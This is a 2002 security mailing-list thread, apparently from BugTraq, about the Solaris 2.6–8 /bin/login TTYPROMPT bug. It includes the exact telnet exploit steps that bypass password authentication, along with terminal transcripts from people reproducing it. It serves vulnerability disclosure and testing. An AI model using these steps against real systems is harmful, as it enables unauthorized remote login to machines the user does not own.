Re: Solaris 2.6, 7, 8

[Roy Kidder <rkidder () corecomm com>]

Works like a champ on Solaris 2.6/Sparc:


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~ $ telnet
telnet> environ define TTYPROMPT abcdef
telnet> o localhost
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.


SunOS 5.6

bin c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c
c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c\n
Last login: Thu Oct  3 14:49:33 from localhost
Sun Microsystems Inc.   SunOS 5.6       Generic August 1997
You have new mail.
bin@ovcle$ uname -a
SunOS ovcle 5.6 Generic_105181-14 sun4u sparc SUNW,Ultra-4
bin@ovcle$ who am i 
bin        pts/6        Oct  3 15:05    (localhost)

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On Wed, 2002-10-02 at 13:23, Ramon Kagan wrote:
> Sorry but I can't reproduce this on a Solaris 7 machine.
>
> sunlight.ccs% telnet
> telnet> environ define TTYPROMPT abcdef
> telnet> o localhost
> Trying 127.0.0.1...
> Connected to localhost.
> Escape character is '^]'.
>
>
> SunOS 5.7
>
> login: bin c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c
> c c c
> c c c c c c c c c c c c c c c c c c c c c c c c c c c c c\nPassword:
> Login incorrect
>
>
> As you can see I get a request for a username/password.
>
> Ramon Kagan
> York University, Computing and Network Services
> Unix Team -  Intermediate System Administrator
> (416)736-2100 #20263
> rkagan () yorku ca
>
> -------------------------------------
> I have not failed.  I have just
> found 10,000 ways that don't work.
>       - Thomas Edison
> -------------------------------------
>
> On Wed, 2 Oct 2002, Jonathan S wrote:
>
> > Hello,
> >
> >   Solaris 2.6, 7, and 8 /bin/login has a vulnerability involving the
> > environment variable TTYPROMPT.  This vulnerability has already been
> > reported to BugTraq and a patch has been released by Sun.
> >   However, a very simple exploit, which does not require any code to be
> > compiled by an attacker, exists.  The exploit requires the attacker to
> > simply define the environment variable TTYPROMPT to a 6 character string,
> > inside telnet. I believe this overflows an integer inside login, which
> > specifies whether or not the user has been authenticated (just a guess).
> > Once connected to the remote host, you must type the username, followed by
> > 64 " c"s, and a literal "\n".  You will then be logged in as the user
> > without any password authentication.  This should work with any account
> > except root (unless remote root login is allowed).
> >
> > Example:
> >
> > coma% telnet
> > telnet> environ define TTYPROMPT abcdef
> > telnet> o localhost
> >
> > SunOS 5.8
> >
> > bin c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c
> > c c c c c c c c c c c c c c c c c c c c c c c c c c c c c\n
> > Last login: whenever
> > $ whoami
> > bin
> >
> > Jonathan Stuart
> > Network Security Engineer
> > Computer Consulting Partners, Ltd.
> > E-mail: jons () ccpartnersltd com
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